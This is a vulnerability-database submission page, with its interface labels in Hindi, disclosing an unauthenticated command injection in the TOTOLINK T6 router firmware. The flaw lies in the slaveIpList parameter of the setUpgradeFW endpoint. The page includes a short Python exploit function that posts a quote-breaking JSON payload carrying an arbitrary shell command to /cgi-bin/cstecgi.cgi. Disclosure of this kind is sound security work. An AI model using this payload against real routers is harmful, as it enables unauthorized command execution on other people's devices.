| शीर्षक | TOTOLINK T6 V4.1.5cu.748 Command Injection |
|---|
| विवरण | Unauthenticated Command Injection Vulnerability in Endpoint "setUpgradeFW"
An unauthenticated command injection vulnerability exists in the API endpoint setUpgradeFW due to improper sanitization of the slaveIpList parameter. The lack of input validation on this parameter allows an unauthenticated attacker to inject arbitrary system commands, which can then be executed on the server.
Exploit code
def execute_command(target_ip, cmd):
http_sv = "http://%s/cgi-bin/cstecgi.cgi" % target_ip
payload = '''
{
"topicurl":"setUpgradeFW",
"FileName":"asdf.bin",
"slaveIpList":"a\\"; %s;\\""
}
''' % cmd
res = requests.post(http_sv, data=payload)
if res.status_code == 200:
return True
else:
return False |
|---|
| स्रोत | ⚠️ https://youtu.be/dqhrFgVR-YQ |
|---|
| उपयोगकर्ता | ElvisBlue (UID 87432) |
|---|
| सबमिशन | 03/07/2025 11:38 AM (1 वर्ष पहले) |
|---|
| संयम | 10/07/2025 09:26 AM (7 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 193522 [TOTOLINK T6 4.1.5cu.748_B20211015 MQTT Packet setUpgradeFW अधिकार वृद्धि] |
|---|
| अंक | 0 |
|---|